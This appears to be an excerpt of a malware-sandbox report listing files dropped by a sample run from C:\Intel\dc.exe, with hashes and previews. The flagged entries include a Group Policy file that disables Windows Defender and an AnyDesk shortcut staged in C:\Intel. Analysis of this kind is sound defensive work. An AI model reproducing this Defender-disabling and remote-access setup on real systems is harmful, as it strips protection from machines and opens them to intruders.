Encrypted:	false
SSDEEP:	24:VzzMP3DnA2qmQ9vZDvMJofWoymlzzMP3DZA2Tn6vZDvMJejDymb:Vz0zA2qlhRMJoeoyez0za2LERMJOyA
MD5:	52D2651F8B28F58C9031709AC04A6C34
SHA1:	372C923785B04C485FC6AD5561ECEE546A98DA28
SHA-256:	EFCD2791728A3507CB0C5EA8F9A2DC102786E78ADE35D4910F6B89AAA4580E87
SHA-512:	5034B3E701B43480CC5323BFBAD816807A050819A89A654FE84C5FCBA2ECD9BB7EE8181F41971190AA65EAEF0A74F991D4681E5F58FCA9FC03F48392001B008B
Malicious:	false
Preview:	...................................FL..................F.@.. ...L....a...g..a...c...a...ZQ.....................7....P.O. .:i.....+00.../C:\...................P.1.....(ZLz..Intel.<.......S.f(ZLz.....c....................;...I.n.t.e.l.....V.1.....(ZNz..AnyDesk.@......(ZAz(ZPz.....a.....................X..A.n.y.D.e.s.k.....b.2..ZQ.(ZIz .AnyDesk.exe.H......(ZNz(ZNz..............................A.n.y.D.e.s.k...e.x.e.......K...............-.......J...........U.Z`.....C:\Intel\AnyDesk\AnyDesk.exe....O.p.e.n. .a. .n.e.w. .A.n.y.D.e.s.k. .w.i.n.d.o.w.....C.:.\.I.n.t.e.l.\.A.n.y.D.e.s.k.\.A.n.y.D.e.s.k...e.x.e.........%SystemDrive%\Intel\AnyDesk\AnyDesk.exe.............................................................................................................................................................................................................................%.S.y.s.t.e.m.D.r.i.v.e.%.\.I.n.t.e.l.\.A.n.y.D.e.s.k.\.A.n.y.D.e.s.k...e.x.e...........................................

C:\Windows\System32\GroupPolicy\Machine\Registry.pol

Download File

Process:	C:\Intel\dc.exe
File Type:	RAGE Package Format (RPF),
Category:	dropped
Size (bytes):	160
Entropy (8bit):	3.218156819855109
Encrypted:	false
SSDEEP:	3:CFlE3A5l1QTal7BcNylRjlyWdl+SliFlhakDBu8hfe1l3W0UJlAll+ll6zll6slG:CFlEESOllcHWn+SkUkDk8hfe18U+/6ze
MD5:	58F8EB09A822C09FC11F5A42BAAE36F1
SHA1:	9E7063EEEE62C8588E0020BEF3A116E9379966AA
SHA-256:	6509C7FC4FA70391399831BBC3D66206D3F6F8F2BB20FFCAC4E04844861D733A
SHA-512:	53806780934BD86BB032EE4A515DFC0E8464A5ECC5F4C8C593304FCD969C1058D443BDEC54E7AE21469ADB942B16693CC9EAF997217ADC69D3618AB0EC99DC1E
Malicious:	false
Preview:	PReg....[.S.o.f.t.w.a.r.e.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r...;.D.i.s.a.b.l.e.A.n.t.i.S.p.y.w.a.r.e...;.....;.....;.....].

C:\Windows\System32\GroupPolicy\gpt.ini

Download File

Process:	C:\Intel\dc.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	267
Entropy (8bit):	4.830707279954051
Encrypted:	false
SSDEEP:	6:1WsMzYHxbnnXO/GGG/Rn5Rnn3R0MzYHxbnn/JIAuNhUHdhJgN:1q0HxbnXOMB1d0Hxbn/JnumuN
MD5:	CD9A20D6270A6D99C19CEBFE937339E6
SHA1:	27D7783117CCA63F5274756909E3DC6C43985079
SHA-256:	2D1BBF666E3DBF853D45D60EB2B0E3033BACF59A5FFDE99D3CF5B642ED19E51E
SHA-512:	53F4CB2206FFB25339ED467206A6D542357049098B27901CECFF5814018341EA500DE3A5B40BBA4FFEF73E0008C73CBC075A1114D86903B432373C8AEC408210
Malicious:	true
Preview:	[General]..gPCMachineExtensionNames=[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{00000000-0000-0000-0000-000000000000}{D02B1F72-3407-48AE-BA88-E8213C6761F1}]..Version=3..gPCUserExtensionNames=[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{0F6B957E-509E-11D1-A7CC-0000F87571E3}]..

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\13dfce0f-c4cc-478e-b80e-c347ba62fe36.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11105
Entropy (8bit):	5.528612370117989
Encrypted:	false
SSDEEP:	192:uhoCL/Pgu90RZj8Sr6FA4ZiIxuERzA83h09RZxAexumghxoDUfWEcgZJZK8HiSEX:q9iIxuERzA83h09RZxDggAcgZrK8GC2
MD5:	EDAF3A79B559064F33684C4523F12C4C
SHA1:	646291DCC85EEE0D828CEC71CA079779B2D2FF86
SHA-256:	1C3E856641105128CC1196D13D8246301C014C172E412ECAD0A5B3EBBD233443
SHA-512:	FFDF23DEAD91273FBFD5C5683A0C59FC3BA9F73B56FCD043CD1C7E4B2B019E4DB15433F3C54CA61D3D3627A29D95A82AB65C5F53D809939F921DDC6A651BAB28
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"94.0.992.31","browser_version_of_last_seen_whats_new":"94.0.992.31","last_redirect_origin":"","last_seen_whats_new_page_version":"94.0.992.31","last_whats_new_version":94},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"external_config_domain_actions":{"cdm_override":{"applications":[{"applied_policy":"OnlyExposePlayReady","domain":"sling.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tou.tv"},{"applied_policy":"OnlyExposeWidevine","domain":"maxdome.de"},{"applied_policy":"OnlyExposeWidevine","domain":"abc.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tv.apple.com"},{"applied_policy":"OnlyExposeWidevine","domain":"la7.it"},{"applied_policy":"OnlyExpo

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\16fc15c7-5f50-401d-b907-22f4e80ce6af.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9365
Entropy (8bit):	5.227762044164937
Encrypted:	false
SSDEEP:	192:uhoCL/Pgu90RZj8Sr6FA4ZiIxuERzA83h09RZxAexumbvxoDUfWE+Xb:q9iIxuERzA83h09RZxDb+A+L
MD5:	3B099AEB883B5BB4ADF95B287A176503
SHA1:	D10D7A1197B709652B734375211205731515383E
SHA-256:	2EAAA2D6FB4CA64B55F6826C79A1470BBFA91F0EBBA849AE05B10ED05A0E34E4
SHA-512:	E1D83DF27FA6EE259062F21F87DA5C255F695C2AC42277EFF05EF0A8D35BEE15314FC566E2DEB808B92FD22345496852271A929945C681B6EAB834BFA1E16E75
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"94.0.992.31","browser_version_of_last_seen_whats_new":"94.0.992.31","last_redirect_origin":"","last_seen_whats_new_page_version":"94.0.992.31","last_whats_new_version":94},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"external_config_domain_actions":{"cdm_override":{"applications":[{"applied_policy":"OnlyExposePlayReady","domain":"sling.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tou.tv"},{"applied_policy":"OnlyExposeWidevine","domain":"maxdome.de"},{"applied_policy":"OnlyExposeWidevine","domain":"abc.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tv.apple.com"},{"applied_policy":"OnlyExposeWidevine","domain":"la7.it"},{"applied_policy":"OnlyExpo

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\3f586463-88ae-4ee0-80d5-dac3388e889e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3442
Entropy (8bit):	5.245298471472593
Encrypted:	false
SSDEEP:	96:BUGkfjOt/58rh/cI9URoDotoHQqUv+PEoe4mhJu:GmYeoDUEE0
MD5:	19D6A24786F8AA255E20863E64C3211B
SHA1:	0DBBEE5EB466099EF30B8B015E4C74DE7007E5C1
SHA-256:	65217C5DCD41B5CCAC8200D1C4654FE1EECD17B4BE37BFE50F68F53D3DF2A0C7
SHA-512:	D84AD21F45A1DE5537D013A79D5CCCEF4E038FA0157BF6CA4DFC69B6B0BF42043F75583498BCA75E548D4442A9FDDBEBC1C668C53BF2C87E121C48735FE3D8FB
Malicious:	false
Preview:	{"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fre":{"oem_bookmarks_set":true},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"94.0.992.31","last_edgeuwp_pin_migration_on_os_version":"10 Version 20H2 (Build 19042.1165)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAADSLq1Bqd4SYdV0Xs4nBTvEAAAAAoAAABFAGQAZwBlAAAAEGYAAAABAAAgAAAADR8n/rSizQDkz5nvdp7hvK+BzbTr+2STiFwAjfozefAAAAAADoAAAAACAAAgAAAA5E+iNO6iLOl/rguullp7L0j2FkjzvYR6Szuqr7Dy0q8wAAAAn0PAliHPVwQUm3JZk5PGKW/bVQsdGCd6Up5QwM4CoF2UvP/ESoIvBNS/1P3vVzliQAAAALSxomEnSIszKcTtBahaebTrmN8LN71MIu3HgxDoAFYvfQVARUeqSZoiLWFOXS0uN40dV4qaojvHO0nBPaFy0iw="},"policy":{"last_statistics_update":"1338

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\5b5deae7-5948-4f9d-a5d7-7c5c82e1def1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2203
Entropy (8bit):	5.301660636076878
Encrypted:	false
SSDEEP:	48:YnOBhmo05fXz495z/v5lXUZdKvBIk6Rme4WnhJa:BjMfjOt/B0Yv+Pme4mhJa
MD5:	CDCF231B3F9864E6209B1ADA7AA80043
SHA1:	20519DDC3A91E6D39D3721D7B7F13EE176343D50
SHA-256:	26DA2E79513F66AAAC808A56BAFB260C5AB7515D199E748A3FEF24B06FC9890D
SHA-512:	D256C3EE065A831206AF6546641D75BB0AFF50725344AFAA8CF5793A62EC54D85454201ABD4B8397544ECB973BC8EFF4E17F4251C832C819F382AF424B006C15
Malicious:	false
Preview:	{"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAADSLq1Bqd4SYdV0Xs4nBTvEAAAAAoAAABFAGQAZwBlAAAAEGYAAAABAAAgAAAADR8n/rSizQDkz5nvdp7hvK+BzbTr+2STiFwAjfozefAAAAAADoAAAAACAAAgAAAA5E+iNO6iLOl/rguullp7L0j2FkjzvYR6Szuqr7Dy0q8wAAAAn0PAliHPVwQUm3JZk5PGKW/bVQsdGCd6Up5QwM4CoF2UvP/ESoIvBNS/1P3vVzliQAAAALSxomEnSIszKcTtBahaebTrmN8LN71MIu3HgxDoAFYvfQVARUeqSZoiLWFOXS0uN40dV4qaojvHO0nBPaFy0iw="},"policy":{"last_statistics_update":"13380823123444840"},"profile":{"info_cache":{},"profile_counts_reported":"13380823122821391"},"profile_network_context_service":{"http_cache_finch_experiment_groups":"None None None"},"profiles":{"edge":{"implicit_signin":{"telemetry

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\82fe7b7a-8556-446c-9965-d25ef5a27670.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640155202630497
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7B:fwUQC5VwBIiElEd2K57P7B
MD5:	572246195E5524B992938DC55503921B
SHA1:	265E0E09C398130101A0DA4C840721E62A55680F
SHA-256:	3A59592844E646DFA33585C662C5CEEAD539B7E872D7DC50851B6AF7B1B71862
SHA-512:	60D522408FA15CDD08C278DBFD27F27AAA5C04E095114AE06F25F72660B6289E80A45F7F853EFDA4B67D2664B8183D8299A5EE194C6D4469EAF05ACBD9C93A02
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-677E9752-898.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.28847507911159526
Encrypted:	false
SSDEEP:	3072:CvN5ouyN3J2PyOxMfrzS07VC7g1JMqhv:M5ouyOiznZC7a9hv
MD5:	618194E2E86B59D6399BADF067D1D3D4
SHA1:	E360FAD1E726E5EE0EEBE15ACB9279130CEAEFFE
SHA-256:	0485F5B90B49F2E49CB900A6C7CE9EB22D12CFDC9151A58BB395B1591A7790FF
SHA-512:	23E02A7C566CF4B27FAA571FD5FA1576973D4C91C7FD55B16B7ABBC4C485BC9FB56A5BB0FC8DC24844D041CDA1D68CA86CB49FFA6729D582EA77E2119BCEE7B5
Malicious:	false
Preview:	...@..@...@.....C.].....@...............h...................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0......C<>.Z...................C<>.Z..................UMA.PersistentHistograms.DriveType......8...i.y.[".................................................i.y..Yd........A...........................7o.I'.Y.".4.............8o.I'.Y.................UMA.PersistentHistograms.HistogramsInStartupFile........ ...i.y.......7o.I'.Y..C<>.... ...i.y.......7o.I'.Y.7o.I........i.y..Yd........A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.........i.y.Pq.3................94.0.992.31-64".en-US*...Windows NT..10.0.1904224..x86_64..\|........".To Be Filled By O.E.M....x86_64P....................9.>.2...:..............@..<...%...msAutoToggleMSAPrtSSOForNonMSAProfile.......triggered....4..0.......msEdgeContinuousChromeImport....triggered....0..,.......msAutoplayLimitDefault......triggered....,..(.......

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\284ad408-0612-4642-b727-46e2cd71554f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4991
Entropy (8bit):	4.8507579925141595
Encrypted:	false
SSDEEP:	96:nsnz1acZ1BhPjzZwwiIMti+NmdeHPWPMVWQyV+VDCAimF:nstRpYI3+vx6U
MD5:	7EA232F8C9FC23A23AC1609DE77B695A
SHA1:	F915CAF641D7E4E43806DEDC5C8F03143B035B3F
SHA-256:	BB80199D6E71F789EA09B63861896E4FE4A37AF7658D7612FAE8B7DCD33F533C
SHA-512:	33844175396D335A1078BB6A64446CAB4FFAF6368C2E6B4FD16371DA58A6EB40A2BD84ED41983D69C067E1B2EF41FFA1BEEEE9D06F8BEAD265D68777B6109813
Malicious:	false
Preview:	{"account_id_migration_state":2,"account_tracker_service_last_update":"13380823125528514","alternate_error_pages":{"backup":true},"autofill":{"orphan_rows_removed":true},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"window_placement":{"bottom":758,"left":10,"maximized":true,"right":1014,"top":10,"work_area_bottom":768,"work_area_left":0,"work_area_right":1024,"work_area_top":0}},"browser_content_container_height":665,"browser_content_container_width":1024,"browser_content_container_x":0,"browser_content_container_y":103,"countryid_at_install":21843,"custom_links":{"list":[]},"data_reduction":{"this_week_number":2870},"default_apps_install_state":3,"domain_diversity":{"last_reporting_timestamp":"13380823125528441"},"download":{"default_directory":""},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_sitelist_location":"","consumer_sitelist_version":"","shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_e

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\4365c6eb-9629-4cdf-ba3e-654008b66739.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4991
Entropy (8bit):	4.850730108421196
Encrypted:	false
SSDEEP:	96:nsnz1acZ1BhPjzZwwiIMti+NmdeHPWPMVWQyV+VDCzimF:nstRpYI3+vx6h
MD5:	EE626A670CA106C337F052FDBD57BA6B
SHA1:	8D39ECF805C65EEF98D7A207D1B739AF1803D8CF
SHA-256:	9D7542CCAA02F0CB84F0728C698217711E1E115B92D0E4AB4FCD7F33480C1139
SHA-512:	F275A3D9BBFE6DC91C9634D3C7EE21A3AC8EE444622B85D35DF25DF1518BD1EB29503F1549AD1B9E6ADEA8BB650AA5022F90091EBF1AD2A6BFDEC750058668A9
Malicious:	false
Preview:	{"account_id_migration_state":2,"account_tracker_service_last_update":"13380823125528514","alternate_error_pages":{"backup":true},"autofill":{"orphan_rows_removed":true},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"window_placement":{"bottom":758,"left":10,"maximized":true,"right":1014,"top":10,"work_area_bottom":768,"work_area_left":0,"work_area_right":1024,"work_area_top":0}},"browser_content_container_height":665,"browser_content_container_width":1024,"browser_content_container_x":0,"browser_content_container_y":103,"countryid_at_install":21843,"custom_links":{"list":[]},"data_reduction":{"this_week_number":2870},"default_apps_install_state":3,"domain_diversity":{"last_reporting_timestamp":"13380823125528441"},"download":{"default_directory":""},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_sitelist_location":"","consumer_sitelist_version":"","shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_e

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\46406dc5-8b10-4fd0-965d-7071cfdaa9de.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\50ad85ce-7087-4f71-a495-60a68a0cd1a9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (11004), with no line terminators
Category:	dropped
Size (bytes):	11004
Entropy (8bit):	5.42543726293618
Encrypted:	false
SSDEEP:	192:nkHCAR6YWhodpgDkYv4XkdkI1CI3+ruk1JzwnnJKPmOrufp2i6O:nkHpRaCGvPfCI26sUf
MD5:	E16E9A723D7F305D6F5C5FDA6D5EB3BA
SHA1:	CE2A6E5B2CA73827F2981BB45DC8DA3E508693FA
SHA-256:	8BB610AD4985A2F99865CCB437C30AAB2878193277B9E6BC3951C121C3EC8D3F
SHA-512:	59491D06271FD47742B1F868A13BC96DA8E71493351F4B1466DE04A768985DF39C7CE1C4514C0230E33A2B8112CD692E2D717850DE8CE69D2E4382AD4449376A
Malicious:	false
Preview:	{"account_id_migration_state":2,"account_tracker_service_last_update":"13380823125528514","alternate_error_pages":{"backup":true},"autocomplete":{"retention_policy_last_version":94},"autofill":{"orphan_rows_removed":true},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"window_placement":{"bottom":758,"left":10,"maximized":false,"right":1014,"top":10,"work_area_bottom":768,"work_area_left":0,"work_area_right":1024,"work_area_top":0}},"browser_content_container_height":632,"browser_content_container_width":996,"browser_content_container_x":0,"browser_content_container_y":112,"countryid_at_install":21843,"custom_links":{"list":[]},"data_reduction":{"this_week_number":2870,"this_week_services_downstream_foreground_kb":{"109536380":106,"112189210":1,"113604596":3,"12038966":87,"41274743":1,"4327694":0,"67541500":14,"70858119":1}},"default_apps_install_state":3,"domain_diversity":{"last_reporting_timestamp":"13380823125528441"},"download":{"default_directory":"

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\71233176-7db9-45e7-ba37-ca177fe43407.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	23768
Entropy (8bit):	5.593368852727954
Encrypted:	false
SSDEEP:	384:eTfCtHFFCKhOObJ+UoAYDCx9TuqZz0VfUCh7xbog/OVcnLlk9qC+rUARuapFIOIE:eDWHfC8F1+UoAYDCx9Tuqh0VfUC9xboE
MD5:	9035299339BA8048E2694A2C55F8E817
SHA1:	09B0185885D1788229588826CF2AEF105C8AC03A
SHA-256:	7D0ADC32DAD5C2DFFD7A1F8FE42D63CF2DD2A388FA499387E2C23447B99FFC9E
SHA-512:	EB243833447FEE767E6659C8B4100F352BD68A7BE31FC217BB07D605321745041CA8DF2F92D7BCF2E55F1A97A43628F525387D891A0A4D52FF31DC016ED3DB0B
Malicious:	false
Preview:	{"extensions":{"settings":{"ampmimodbocknpfehkbdjolnnbongejb":{"disable_reasons":1,"state":0},"dgiklkfkllikcanfonkcabmbdfmgleag":{"active_permissions":{"api":[],"manifest_permissions":[]},"commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13380823124247101","location":5,"manifest":{"content_capabilities":{"include_globs":["https://excel.officeapps.live.com/","https://onenote.officeapps.live.com/","https://powerpoint.officeapps.live.com/","https://word-edit.officeapps.live.com/","https://excel.partner.officewebapps.cn/","https://onenote.partner.officewebapps.cn/","https://powerpoint.partner.officewebapps.cn/","https://word-edit.partner.officewebapps.cn/","https://excel.gov.online.office365.us/","https://onenote.gov.online.office365.us/","https://powerpoint.gov.online.office365.us/","https://word-edit.gov.online.office365.us/","htt

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\80c9774d-135b-44c4-98f7-96b0ff11ed67.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	23938
Entropy (8bit):	5.590063244110732
Encrypted:	false
SSDEEP:	384:nWTfCtsFFdKhOObJ+UoAYDCx9TuqZz0VfUCh7xbog/OVMnLlk9qCOrUSfR/pFIOu:nWDWsfd8F1+UoAYDCx9Tuqh0VfUC9xbq
MD5:	7F7AA5B34A49CD9350A72B0A8457F767
SHA1:	007E9C825D935055EF0CF02738ED37271C0043DB
SHA-256:	C4DA4434A2F9556F40FCE1FF853B24463C67BEA9566BE8B0F70130FE6685D56B
SHA-512:	AEFC74C61B5D5D2023E3C3167BCE78A6384DBA6C7A3640C30DD4A419DDD58BCCC66DD362BF37E55E13ABF2376BA219D2F57BF12ECEB8AA756D97B860E2B92BC9
Malicious:	false
Preview:	{"extensions":{"settings":{"ampmimodbocknpfehkbdjolnnbongejb":{"state":1},"dgiklkfkllikcanfonkcabmbdfmgleag":{"active_permissions":{"api":[],"manifest_permissions":[]},"commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13380823124247101","location":5,"manifest":{"content_capabilities":{"include_globs":["https://excel.officeapps.live.com/","https://onenote.officeapps.live.com/","https://powerpoint.officeapps.live.com/","https://word-edit.officeapps.live.com/","https://excel.partner.officewebapps.cn/","https://onenote.partner.officewebapps.cn/","https://powerpoint.partner.officewebapps.cn/","https://word-edit.partner.officewebapps.cn/","https://excel.gov.online.office365.us/","https://onenote.gov.online.office365.us/","https://powerpoint.gov.online.office365.us/","https://word-edit.gov.online.office365.us/","https://*excel.dod.onli

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	513
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWWWWWWW
MD5:	C92EABB217D45C77F8D52725AD3758F0
SHA1:	43B422AC002BB445E2E9B2C27D74C27CD70C9975
SHA-256:	388C5C95F0F54F32B499C03A37AABFA5E0A31030EC70D0956A239942544B0EEA
SHA-512:	DFD5D1C614F0EBFF97F354DFC23266655C336B9B7112781D7579057814B4503D4B63AB1263258BDA3358E5EE9457429C1A2451B22261A1F1E2D8657F31240D3C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.176765985070371
Encrypted:	false
SSDEEP:	6:iOOHUdT0qJYDhP5c23oH+Tcwt8Yg2KLlYHBF3AQL+q2TYDhP5c23oH+Tcwt8NIF2:718PhYebqL2SQyvsPhYebpFUv
MD5:	E92BBB23F7EA95D54786C84A1775ED94
SHA1:	49F7DBD86D2C2618EE68A4266564B738BC94D21D
SHA-256:	8797C10BD9F88B839F58AB4AB6F6726175F9FD4EE3DD4D194549A97192121292
SHA-512:	8BA046F3DC588DE027331F77E72B4D28C4E581184D8192DAFB66593C3B945BEF2A16471B024CFBA441789A04150D08089D9C02598A9E1B4B2A22BC9845B50753
Malicious:	false
Preview:	2025/01/08-10:18:46.189 418 Creating DB C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State since it was missing..2025/01/08-10:18:46.285 418 Reusing MANIFEST C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

